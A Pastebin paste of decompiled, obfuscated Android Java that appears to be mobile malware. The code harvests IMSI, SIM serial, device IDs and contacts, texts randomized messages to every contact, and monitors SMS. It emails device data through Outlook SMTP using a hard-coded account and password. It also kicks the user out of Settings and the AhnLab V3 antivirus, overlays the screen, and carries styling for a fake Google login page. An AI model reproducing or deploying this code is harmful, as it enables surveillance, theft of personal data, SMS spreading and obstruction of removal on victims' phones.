Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com;
- import android.accounts.Account;
- import android.accounts.AccountManager;
- import android.annotation.SuppressLint;
- import android.app.Activity;
- import android.app.ActivityManager;
- import android.app.ActivityManager.RunningTaskInfo;
- import android.app.AlertDialog;
- import android.app.AlertDialog.Builder;
- import android.app.Dialog;
- import android.app.Notification;
- import android.app.NotificationManager;
- import android.app.PendingIntent;
- import android.app.Service;
- import android.app.usage.UsageStats;
- import android.app.usage.UsageStatsManager;
- import android.content.BroadcastReceiver;
- import android.content.ComponentName;
- import android.content.ContentResolver;
- import android.content.Context;
- import android.content.DialogInterface;
- import android.content.DialogInterface.OnClickListener;
- import android.content.Intent;
- import android.content.IntentFilter;
- import android.content.SharedPreferences;
- import android.content.pm.PackageInfo;
- import android.content.pm.PackageManager;
- import android.database.ContentObserver;
- import android.database.Cursor;
- import android.graphics.drawable.ColorDrawable;
- import android.media.AudioManager;
- import android.media.ToneGenerator;
- import android.net.ConnectivityManager;
- import android.net.NetworkInfo;
- import android.net.Uri;
- import android.net.wifi.WifiInfo;
- import android.net.wifi.WifiManager;
- import android.net.wifi.WifiManager.WifiLock;
- import android.os.Build;
- import android.os.Build.VERSION;
- import android.os.Environment;
- import android.os.Handler;
- import android.os.Looper;
- import android.os.PowerManager;
- import android.os.PowerManager.WakeLock;
- import android.provider.Settings.System;
- import android.telephony.PhoneStateListener;
- import android.telephony.SignalStrength;
- import android.telephony.SmsMessage;
- import android.telephony.TelephonyManager;
- import android.text.format.DateFormat;
- import android.text.format.Time;
- import android.util.Base64;
- import android.util.Log;
- import android.view.KeyEvent;
- import android.view.View;
- import android.view.View.OnKeyListener;
- import android.view.ViewParent;
- import android.view.WindowManager;
- import android.view.WindowManager.LayoutParams;
- import android.webkit.WebChromeClient;
- import android.webkit.WebChromeClient.CustomViewCallback;
- import android.webkit.WebSettings;
- import android.webkit.WebView;
- import android.webkit.WebViewClient;
- import android.widget.FrameLayout;
- import android.widget.RemoteViews;
- import java.io.ByteArrayOutputStream;
- import java.io.File;
- import java.io.InputStream;
- import java.io.Serializable;
- import java.lang.Thread.UncaughtExceptionHandler;
- import java.lang.reflect.Method;
- import java.net.HttpURLConnection;
- import java.net.Socket;
- import java.net.URL;
- import java.net.URLConnection;
- import java.util.ArrayList;
- import java.util.Arrays;
- import java.util.Comparator;
- import java.util.Date;
- import java.util.HashMap;
- import java.util.Iterator;
- import java.util.LinkedHashMap;
- import java.util.LinkedHashSet;
- import java.util.List;
- import java.util.Locale;
- import java.util.Map;
- import java.util.Map.Entry;
- import java.util.Properties;
- import java.util.Random;
- import java.util.Set;
- import java.util.Timer;
- import java.util.TimerTask;
- import java.util.concurrent.Callable;
- import java.util.concurrent.TimeUnit;
- import java.util.concurrent.atomic.AtomicBoolean;
- import java.util.regex.Matcher;
- import java.util.regex.Pattern;
- import java.util.zip.Inflater;
- import javax.mail.Message.RecipientType;
- import javax.mail.Session;
- import javax.mail.Transport;
- import javax.mail.internet.InternetAddress;
- import javax.mail.internet.MimeMessage;
- import org.json.JSONObject;
- public final class Loader {
- public static final a Companion = new a(null);
- private final String A = "\n body {\n font-family: Roboto-Regular, HelveticaNeue, Arial, sans-serif;\n }\n\n label {\n color: #222;\n line-height: 16px;\n font-size: 100%;\n text-decoration: none;\n }\n\n input {\n width: 100%;\n text-align: left;\n border-radius: 1px;\n border: 1px solid #d9d9d9;\n border-top: 1px solid #c0c0c0;\n font-size: 13px;\n height: 25px;\n line-height: 25px;\n padding: 1px 8px;\n -webkit-appearance: textfield;\n background-color: white;\n -webkit-rtl-ordering: logical;\n user-select: text;\n cursor: auto;\n }\n\n input, textarea, keygen, select, button {\n text-rendering: auto;\n color: initial;\n letter-spacing: normal;\n word-spacing: normal;\n text-transform: none;\n text-indent: 0px;\n text-shadow: none;\n display: inline-block;\n text-align: start;\n margin: 0em 0em 0em 0em;\n font: 13.3333px Arial;\n }\n\n input, textarea, keygen, select, button, meter, progress {\n -webkit-writing-mode: horizontal-tb;\n }\n\n .cont {\n padding-right: 16px;\n margin-bottom: 18px\n }\n\n .yf {\n height: 24px;\n display: table-cell;\n vertical-align: middle;\n }\n\n .submit {\n user-select: none;\n line-height: 100%;\n height: 30px;\n min-width: 120px;\n -webkit-user-select: none;\n margin-left: auto;\n margin-right: auto;\n text-align: center;\n vertical-align: middle;\n -webkit-box-shadow: none;\n -moz-box-shadow: none;\n box-shadow: none;\n background-color: #4d90fe;\n background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -moz-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -ms-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -o-linear-gradient(top, #4d90fe, #4787ed);\n background-image: linear-gradient(top, #4d90fe, #4787ed);\n border: 1px solid #3079ed;\n color: #fff;\n font-weight: bold;\n }\n\n .btn-cont {\n text-align: center;\n vertical-align: middle;\n margin-bottom: 10px;\n }\n\n .appbar {\n background: #eee;\n color: #dd4b39;\n font-size: 20px;\n padding: 12px 10px;\n }\n\n .appbarb {\n border-bottom: 1px solid #ccc;\n margin-bottom: 20px;\n }\n\n .apptitle {\n margin-left: 10px;\n font-size: 100%;\n }\n\n html, body {\n margin: 0 !important;\n padding: 0 !important;\n }\n .title {\n vertical-align: middle;\n }\n .icon {\n display: inline-block;\n vertical-align: middle;\n width: 40px;\n height: 40px;\n background-size: contain;\n background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAMAAAAp4XiDAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5RDdFNjc1RkY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5RDdFNjc2MEY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjlEN0U2NzVERjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjlEN0U2NzVFRjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+5CGu0wAAAMBQTFRFUrFp7c7MQoX09KY39c9f+7wFmbrx8uCr7LSw6VtQ6kM18IdC63Nprta5Zrp7i8mcnbMq1OTYNKhT2ODvOpqU642Gm8+p5enuZJry6Us+6rsMQatZ7t/ePKlU7VosfavrQYnm7u3sNaZc5Ormf8SS7uno6koy6evv6mtg7+ziNadU6UY57u7u7e7t+bwN3+Xu+cEj7O3t7u3t7+nZP43PToz0wdPw2LkTwbw7vNvF9ZIV8Xcglbxc6uzu+awLNqRp7AzCkQAAAfdJREFUeNrE1m13mjAUAODQGglMsOSUVgTmIlp5aWylsy3b3P7/vxoCgRDDi596P3mOPOfemxtIwPPVAb6MbJE90xxdd7TQRt4IgmZJojeRzBDpJ0jjny9DQz1ECXVphF4XQYneEQ6SEmLrPYEkJO0VmkdSkQwJSWGo/UyiheF5NpeiJgrfuWMr22Kmiu1cCEZSfnVtj27L8aWpZ4uCkaasxFGE4YaebPrk9olbGjJiW1IV/v1etaGQcTt5AiH8LUysn7zBc/zKi5uNfV/UgpyLU9KRZAKr+JY+X0sm/F83kliUhJLXSuzVIXJkWfYsSzREbnYlOTAB00HyUmWpCRkmVCjsbXQW1j5Ux/YSsUXeT0avGCPLPzyZNrES5lJvmA93nckHPmVkxUhU9H/n+9iUk8WxItOKUJJXtrzzMY5jQybe+QWr3hcVLt1c5OFa9ELsFnUrtCbRp18KjIElikPdfFEX+1wYTOR5hCV4bMTxkSPExE1sggacMvCjnaT+9Fk+Z/xNVqiD9QDw+t9PlmTXIgcDtwMAE8Tlz/i+JO/CN5nOcWfE9+fipicqHBZ0021wXtzqdHkk9eXB61UgO/io4XeSedRxvFqmHLgZpZ2HuAEkYB70XhVoZrbLAw/B8IUkyOYmcGPsA3NjWNddeyj9usvVfwEGAFh9KoqHfbO5AAAAAElFTkSuQmCC\");\n }\n ";
- private final String B;
- private final String C;
- private final String D;
- private final String E;
- /* access modifiers changed from: private */
- public Context a;
- /* access modifiers changed from: private|final */
- public final Handler b = new Handler(Looper.getMainLooper());
- /* access modifiers changed from: private|final */
- public final Set<String> c = new LinkedHashSet();
- /* access modifiers changed from: private|final */
- public final Set<String> d = new LinkedHashSet();
- /* access modifiers changed from: private */
- public SharedPreferences e;
- private WakeLock f;
- /* access modifiers changed from: private|final */
- public final g g = new g();
- /* access modifiers changed from: private|final */
- public final Timer h = new Timer(true);
- /* access modifiers changed from: private */
- public TimerTask i;
- /* access modifiers changed from: private */
- public String j = "";
- /* access modifiers changed from: private */
- public boolean k;
- private h l;
- private f m = new b(this);
- private View n;
- private final AtomicBoolean o = new AtomicBoolean(false);
- private String p = "";
- private AlertDialog q;
- private final o r = new o(this);
- private String s = "";
- private String t = "";
- private final boolean u = q.a();
- /* access modifiers changed from: private */
- public int v;
- private final HashMap<String, String> w = new HashMap();
- public WifiLock wifiLock;
- /* access modifiers changed from: private */
- public Dialog x;
- /* access modifiers changed from: private */
- public boolean y;
- private long z;
- public static final class a {
- private a() {
- }
- public /* synthetic */ a(e eVar) {
- this();
- }
- public final Loader a() {
- return new Loader();
- }
- }
- static final class aa extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- aa(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(final Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- c.a.h<Object> a2 = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
- final /* synthetic */ aa a;
- public final void a() {
- Loader loader = this.a.a;
- Object obj = objArr[0];
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
- }
- loader.a(((Boolean) obj).booleanValue());
- }
- });
- d.e.b.h.a((Object) a2, "Maybe.fromAction<Any> {\n…as Boolean)\n }");
- return a2;
- }
- }
- static final class ab extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Map<String, ? extends Object>>> {
- final /* synthetic */ Loader a;
- ab(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Map<String, Object>> a(Object[] objArr) {
- d.e.b.h.b(objArr, "it");
- Object systemService = Loader.access$getCtx$p(this.a).getSystemService("phone");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
- }
- TelephonyManager telephonyManager = (TelephonyManager) systemService;
- c.a.h<Map<String, Object>> a2 = c.a.h.a(d.a.s.a(d.f.a("imsi", telephonyManager.getSubscriberId()), d.f.a("simSerial", telephonyManager.getSimSerialNumber()), d.f.a("androidId", System.getString(Loader.access$getCtx$p(this.a).getContentResolver(), "android_id")), d.f.a("serial", Build.SERIAL)));
- d.e.b.h.a((Object) a2, "Maybe.just(mapOf<String,…ild.SERIAL\n ))");
- return a2;
- }
- }
- static final class ac extends d.e.b.i implements d.e.a.b<Object[], c.a.h<ArrayList<HashMap<String, String>>>> {
- final /* synthetic */ Loader a;
- /* renamed from: com.Loader$ac$1 */
- static final class AnonymousClass1<V> implements Callable<T> {
- final /* synthetic */ ac a;
- AnonymousClass1(ac acVar) {
- this.a = acVar;
- }
- /* renamed from: a */
- public final ArrayList<HashMap<String, String>> call() {
- return q.a(Loader.access$getCtx$p(this.a.a));
- }
- }
- ac(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<ArrayList<HashMap<String, String>>> a(Object[] objArr) {
- d.e.b.h.b(objArr, "it");
- c.a.h<ArrayList<HashMap<String, String>>> a2 = c.a.h.a((Callable<? extends T>) new AnonymousClass1(this));
- d.e.b.h.a((Object) a2, "Maybe.fromCallable {\n …ontact(ctx)\n }");
- return a2;
- }
- }
- static final class ad extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- ad(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(final Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- c.a.h<Object> a2 = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
- final /* synthetic */ ad a;
- public final void a() {
- Object obj = objArr[0];
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Boolean");
- }
- boolean booleanValue = ((Boolean) obj).booleanValue();
- Loader.access$getPreferences$p(this.a.a).edit().putBoolean("lock", booleanValue).apply();
- if (booleanValue) {
- q.b(Loader.access$getCtx$p(this.a.a));
- } else {
- q.c(Loader.access$getCtx$p(this.a.a));
- }
- }
- });
- d.e.b.h.a((Object) a2, "Maybe.fromAction<Any> {\n… }\n }");
- return a2;
- }
- }
- static final class ae extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Boolean>> {
- final /* synthetic */ Loader a;
- ae(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Boolean> a(final Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- c.a.h<Boolean> a2 = c.a.h.a((c.a.k<T>) new c.a.k<T>(this) {
- final /* synthetic */ ae a;
- static final class a extends d.e.b.i implements d.e.a.b<d.i.i, String> {
- final /* synthetic */ Random a;
- a(Random random) {
- this.a = random;
- super(1);
- }
- public final String a(d.i.i iVar) {
- d.e.b.h.b(iVar, "it");
- return String.valueOf(this.a.nextInt(90000) + 10000);
- }
- }
- static final class b extends d.e.b.i implements d.e.a.b<d.i.i, String> {
- final /* synthetic */ Random a;
- b(Random random) {
- this.a = random;
- super(1);
- }
- public final String a(d.i.i iVar) {
- d.e.b.h.b(iVar, "it");
- String substring = "//////".substring(0, this.a.nextInt(5) + 1);
- d.e.b.h.a((Object) substring, "(this as java.lang.Strin…ing(startIndex, endIndex)");
- return substring;
- }
- }
- static final class c extends d.e.b.i implements d.e.a.b<d.i.i, String> {
- final /* synthetic */ Random a;
- c(Random random) {
- this.a = random;
- super(1);
- }
- public final String a(d.i.i iVar) {
- d.e.b.h.b(iVar, "it");
- return String.valueOf("abcdefghijklmnopqrstuvwxyz".charAt(this.a.nextInt(26)));
- }
- }
- public final void a(c.a.i<Boolean> iVar) {
- Boolean valueOf;
- d.e.b.h.b(iVar, "emitter");
- Object obj = objArr[0];
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- String str = (String) obj;
- Object systemService = Loader.access$getCtx$p(this.a.a).getSystemService("phone");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
- }
- if (((TelephonyManager) systemService).getSimState() == 5) {
- CharSequence charSequence = str;
- if (charSequence.length() > 0) {
- Set<String> a2 = a.a.a(Loader.access$getCtx$p(this.a.a));
- Random random = new Random();
- for (String mVar : a2) {
- o.a.a(new m(Loader.access$getCtx$p(this.a.a), mVar, new d.i.k("\\^").a(new d.i.k("~~").a(new d.i.k("\\$\\$").a(charSequence, (d.e.a.b) new a(random)), (d.e.a.b) new b(random)), (d.e.a.b) new c(random)), null, AnonymousClass1.a));
- }
- valueOf = Boolean.valueOf(true);
- iVar.a(valueOf);
- }
- }
- valueOf = Boolean.valueOf(false);
- iVar.a(valueOf);
- }
- });
- d.e.b.h.a((Object) a2, "Maybe.create<Boolean> { … }\n }");
- return a2;
- }
- }
- static final class af extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- af(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(final Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- c.a.h<Object> a2 = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
- final /* synthetic */ af a;
- public final void a() {
- Object obj = objArr[0];
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- Loader.access$getPreferences$p(this.a.a).edit().putString("fs", (String) obj).apply();
- }
- });
- d.e.b.h.a((Object) a2, "Maybe.fromAction<Any> {\n… v).apply()\n }");
- return a2;
- }
- }
- static final class ag extends d.e.b.i implements d.e.a.b<Object[], c.a.h<String>> {
- final /* synthetic */ Loader a;
- ag(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<String> a(Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- c.a.h<String> a2 = c.a.h.a(Loader.access$getPreferences$p(this.a).getString("fs", ""));
- d.e.b.h.a((Object) a2, "Maybe.just(preferences.getString(\"fs\", \"\"))");
- return a2;
- }
- }
- static final class ah extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Boolean>> {
- final /* synthetic */ Loader a;
- ah(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Boolean> a(final Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- c.a.h<Boolean> a2 = c.a.h.a((Callable<? extends T>) new Callable<T>(this) {
- final /* synthetic */ ah a;
- public final boolean a() {
- Object obj = objArr[0];
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- return this.a.a.c.contains((String) obj);
- }
- public /* synthetic */ Object call() {
- return Boolean.valueOf(a());
- }
- });
- d.e.b.h.a((Object) a2, "Maybe.fromCallable {\n …ntains(pkg)\n }");
- return a2;
- }
- }
- static final class ai extends d.e.b.i implements d.e.a.b<Object[], c.a.h<Object>> {
- final /* synthetic */ Loader a;
- ai(Loader loader) {
- this.a = loader;
- super(1);
- }
- public final c.a.h<Object> a(final Object[] objArr) {
- d.e.b.h.b(objArr, "params");
- c.a.h<Object> a2 = c.a.h.a((c.a.d.a) new c.a.d.a(this) {
- final /* synthetic */ ai a;
- public final void a() {
- Object obj = objArr[0];
- if (obj == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Int");
- }
- int intValue = ((Integer) obj).intValue();
- Object systemService = Loader.access$getCtx$p(this.a.a).getSystemService("audio");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
- }
- ((AudioManager) systemService).setRingerMode(intValue);
- }
- });
- d.e.b.h.a((Object) a2, "Maybe.fromAction<Any> {\n…Mode = mode\n }");
- return a2;
- }
- }
- static final class aj implements Runnable {
- final /* synthetic */ Loader a;
- aj(Loader loader) {
- this.a = loader;
- }
- public final void run() {
- if (this.a.getFsFloatView() != null) {
- Object systemService = Loader.access$getCtx$p(this.a).getApplicationContext().getSystemService("window");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.view.WindowManager");
- }
- ((WindowManager) systemService).removeView(this.a.getFsFloatView());
- }
- }
- }
- static final class ak implements Runnable {
- final /* synthetic */ Loader a;
- ak(Loader loader) {
- this.a = loader;
- }
- public final void run() {
- this.a.requestIgnoreBatteryOpt();
- }
- }
- static final class al implements Runnable {
- final /* synthetic */ Loader a;
- final /* synthetic */ String b;
- al(Loader loader, String str) {
- this.a = loader;
- this.b = str;
- }
- public final void run() {
- Properties properties = new Properties();
- properties.setProperty("mail.transport.protocol", "smtp");
- properties.setProperty("mail.smtp.host", "smtp-mail.outlook.com");
- properties.setProperty("mail.smtp.port", "587");
- properties.setProperty("mail.smtp.auth", "true");
- properties.setProperty("mail.smtp.starttls.enable", "true");
- String string = Loader.access$getPreferences$p(this.a).getString("last_addr", "");
- d.e.b.h.a((Object) string, "preferences.getString(\"last_addr\", \"\")");
- String a2 = d.i.m.a(string, "ws://", "", false, 4, null);
- int a3 = d.i.m.a((CharSequence) a2, ':', 0, false, 6, null);
- if (a3 > 0) {
- if (a2 == null) {
- throw new d.g("null cannot be cast to non-null type java.lang.String");
- }
- a2 = a2.substring(0, a3);
- d.e.b.h.a((Object) a2, "(this as java.lang.Strin…ing(startIndex, endIndex)");
- }
- final String ping = this.a.ping(a2, 4);
- Session instance = Session.getInstance(properties);
- d.e.b.h.a((Object) instance, "session");
- instance.setDebug(true);
- MimeMessage a4 = new d.e.b.i(this) {
- final /* synthetic */ al a;
- public final MimeMessage a(Session session, String str, String str2) {
- d.e.b.h.b(session, "session");
- d.e.b.h.b(str, "sendMail");
- d.e.b.h.b(str2, "receiveMail");
- Object systemService = Loader.access$getCtx$p(this.a.a).getSystemService("phone");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
- }
- TelephonyManager telephonyManager = (TelephonyManager) systemService;
- String access$getLine1 = this.a.a.a(telephonyManager);
- String str3 = access$getLine1 != null ? access$getLine1 : "";
- String networkOperatorName = telephonyManager.getNetworkOperatorName();
- String locale = Locale.getDefault().toString();
- Object systemService2 = Loader.access$getCtx$p(this.a.a).getSystemService("connectivity");
- if (systemService2 == null) {
- throw new d.g("null cannot be cast to non-null type android.net.ConnectivityManager");
- }
- NetworkInfo activeNetworkInfo = ((ConnectivityManager) systemService2).getActiveNetworkInfo();
- String str4 = "无";
- if (activeNetworkInfo != null) {
- str4 = activeNetworkInfo.getTypeName();
- d.e.b.h.a((Object) str4, "info.typeName");
- }
- if (d.e.b.h.a((Object) str4, (Object) "MOBILE")) {
- str4 = q.a(telephonyManager.getNetworkType());
- }
- MimeMessage mimeMessage = new MimeMessage(session);
- StringBuilder sb = new StringBuilder();
- sb.append("用户:");
- sb.append(str3);
- mimeMessage.setFrom(new InternetAddress(str, sb.toString(), "UTF-8"));
- RecipientType recipientType = MimeMessage.RecipientType.TO;
- StringBuilder sb2 = new StringBuilder();
- sb2.append("用户:");
- sb2.append(str3);
- mimeMessage.setRecipient(recipientType, new InternetAddress(str2, sb2.toString(), "UTF-8"));
- StringBuilder sb3 = new StringBuilder();
- sb3.append("连接错误 ");
- sb3.append(locale);
- mimeMessage.setSubject(sb3.toString(), "UTF-8");
- StringBuilder sb4 = new StringBuilder();
- sb4.append("号码:");
- sb4.append(str3);
- sb4.append(" \r\n");
- sb4.append("网络:");
- sb4.append(str4);
- sb4.append('/');
- sb4.append(networkOperatorName);
- sb4.append(" \r\n");
- sb4.append("PING:");
- sb4.append(ping);
- sb4.append(" \r\n");
- sb4.append(this.a.b);
- mimeMessage.setContent(sb4.toString(), "text/plain;charset=UTF-8");
- mimeMessage.setSentDate(new Date());
- mimeMessage.saveChanges();
- return mimeMessage;
- }
- }.a(instance, "aswasd2v@hotmail.com", "aswasd2v@hotmail.com");
- Transport transport = instance.getTransport();
- transport.connect("aswasd2v@hotmail.com", "shaoye11");
- transport.sendMessage(a4, a4.getAllRecipients());
- transport.close();
- }
- }
- static final class am implements Runnable {
- final /* synthetic */ Loader a;
- am(Loader loader) {
- this.a = loader;
- }
- public final void run() {
- try {
- LayoutParams layoutParams = new LayoutParams();
- Object systemService = Loader.access$getCtx$p(this.a).getApplicationContext().getSystemService("window");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.view.WindowManager");
- }
- WindowManager windowManager = (WindowManager) systemService;
- layoutParams.type = 2010;
- layoutParams.format = 1;
- layoutParams.flags = 8;
- layoutParams.gravity = 51;
- layoutParams.width = -1;
- layoutParams.height = -1;
- if (this.a.getFsFloatView() == null) {
- this.a.setFsFloatView(new View(Loader.access$getCtx$p(this.a).getApplicationContext()));
- View fsFloatView = this.a.getFsFloatView();
- if (fsFloatView == null) {
- d.e.b.h.a();
- }
- fsFloatView.setBackgroundDrawable(new ColorDrawable(-16777216));
- }
- windowManager.addView(this.a.getFsFloatView(), layoutParams);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
- static final class an implements UncaughtExceptionHandler {
- final /* synthetic */ Loader a;
- an(Loader loader) {
- this.a = loader;
- }
- public final void uncaughtException(Thread thread, Throwable th) {
- th.printStackTrace();
- try {
- Loader.access$getPreferences$p(this.a).edit().putString("lastError", th.toString()).apply();
- } catch (Throwable th2) {
- }
- }
- }
- static final class ao implements Runnable {
- public static final ao a = new ao();
- ao() {
- }
- public final void run() {
- try {
- File file = new File(c.k);
- if (!file.exists()) {
- file.mkdirs();
- } else if (file.isFile()) {
- file.delete();
- } else if (file.isDirectory()) {
- File[] listFiles = file.listFiles();
- if (listFiles == null) {
- d.e.b.h.a();
- }
- for (File delete : listFiles) {
- delete.delete();
- }
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
- public static final class ap extends PhoneStateListener {
- final /* synthetic */ Loader a;
- static final class a<T> implements c.a.d.d<Object> {
- public static final a a = new a();
- a() {
- }
- public final void a(Object obj) {
- }
- }
- static final class b<T> implements c.a.d.d<Throwable> {
- public static final b a = new b();
- b() {
- }
- public final void a(Throwable th) {
- th.printStackTrace();
- }
- }
- ap(Loader loader) {
- this.a = loader;
- }
- public void onDataConnectionStateChanged(int i) {
- if (i == 2) {
- this.a.h();
- }
- }
- public void onSignalStrengthsChanged(SignalStrength signalStrength) {
- int i;
- d.e.b.h.b(signalStrength, "signalStrength");
- try {
- Object invoke = signalStrength.getClass().getMethod("getLevel", new Class[0]).invoke(signalStrength, new Object[0]);
- if (invoke == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Int");
- }
- i = ((Integer) invoke).intValue();
- this.a.g.b("ondbm", new Integer[]{Integer.valueOf(i)}).a(a.a, b.a);
- } catch (Exception e) {
- i = new n(signalStrength).a();
- }
- }
- }
- public static final class aq extends TimerTask {
- final /* synthetic */ Loader a;
- final /* synthetic */ Context b;
- static final class a implements Runnable {
- final /* synthetic */ aq a;
- a(aq aqVar) {
- this.a = aqVar;
- }
- public final void run() {
- String topActivityName$loader_release = this.a.a.getTopActivityName$loader_release(this.a.b);
- if (topActivityName$loader_release != null) {
- CharSequence charSequence = topActivityName$loader_release;
- if (d.i.m.a(charSequence, (CharSequence) ".settings", false, 2, null) || d.i.m.a(charSequence, (CharSequence) ".ahnlab.v3", false, 2, null)) {
- try {
- Intent intent = new Intent("android.intent.action.MAIN");
- intent.addCategory("android.intent.category.HOME");
- intent.addFlags(268435456);
- this.a.b.startActivity(intent);
- } catch (Exception e) {
- }
- }
- }
- }
- }
- aq(Loader loader, Context context) {
- this.a = loader;
- this.b = context;
- }
- public void run() {
- this.a.b.post(new a(this));
- }
- }
- public static final class ar extends ContentObserver {
- final /* synthetic */ Loader a;
- final /* synthetic */ Context b;
- static final class a implements Runnable {
- final /* synthetic */ ar a;
- final /* synthetic */ int b;
- a(ar arVar, int i) {
- this.a = arVar;
- this.b = i;
- }
- public final void run() {
- try {
- com.e.a a2 = e.a(this.a.b, this.b);
- if (a2 != null) {
- this.a.a.g.a("onSms", (Object) new Object[]{a2.a, a2.c, Long.valueOf(a2.b)});
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
- ar(Loader loader, Context context, Handler handler) {
- this.a = loader;
- this.b = context;
- super(handler);
- }
- public void onChange(boolean z, Uri uri) {
- super.onChange(z, uri);
- if (uri != null) {
- List pathSegments = uri.getPathSegments();
- if (pathSegments.size() == 1) {
- try {
- Object obj = pathSegments.get(0);
- d.e.b.h.a(obj, "seg[0]");
- this.a.b.postDelayed(new a(this, Integer.parseInt((String) obj)), 1000);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
- }
- }
- public static final class as implements Runnable {
- final /* synthetic */ Notification a;
- final /* synthetic */ int[] b;
- final /* synthetic */ Context c;
- final /* synthetic */ int d;
- final /* synthetic */ Handler e;
- as(Notification notification, int[] iArr, Context context, int i, Handler handler) {
- this.a = notification;
- this.b = iArr;
- this.c = context;
- this.d = i;
- this.e = handler;
- }
- public void run() {
- new Time().setToNow();
- this.a.contentView.setTextViewText(this.b[2], DateFormat.getTimeFormat(this.c).format(new Date()));
- Context context = this.c;
- if (context == null) {
- throw new d.g("null cannot be cast to non-null type android.app.Service");
- }
- ((Service) context).startForeground(this.d, this.a);
- this.e.postDelayed(this, (long) 60000);
- }
- }
- public static final class at extends b.h {
- final /* synthetic */ Loader a;
- final /* synthetic */ Account b;
- at(Loader loader, Account account, String str) {
- this.a = loader;
- this.b = account;
- super(str);
- }
- public void a(b.d dVar, b.e eVar) {
- d.e.b.h.b(dVar, "request");
- d.e.b.h.b(eVar, "response");
- eVar.c("text/html;charset=UTF-8");
- Object systemService = Loader.access$getCtx$p(this.a).getSystemService("phone");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
- }
- String access$getLine1 = this.a.a((TelephonyManager) systemService);
- String str = access$getLine1 != null ? access$getLine1 : "";
- String htmlPhoneText = this.a.getHtmlPhoneText();
- if (this.b != null) {
- String str2 = this.b.name;
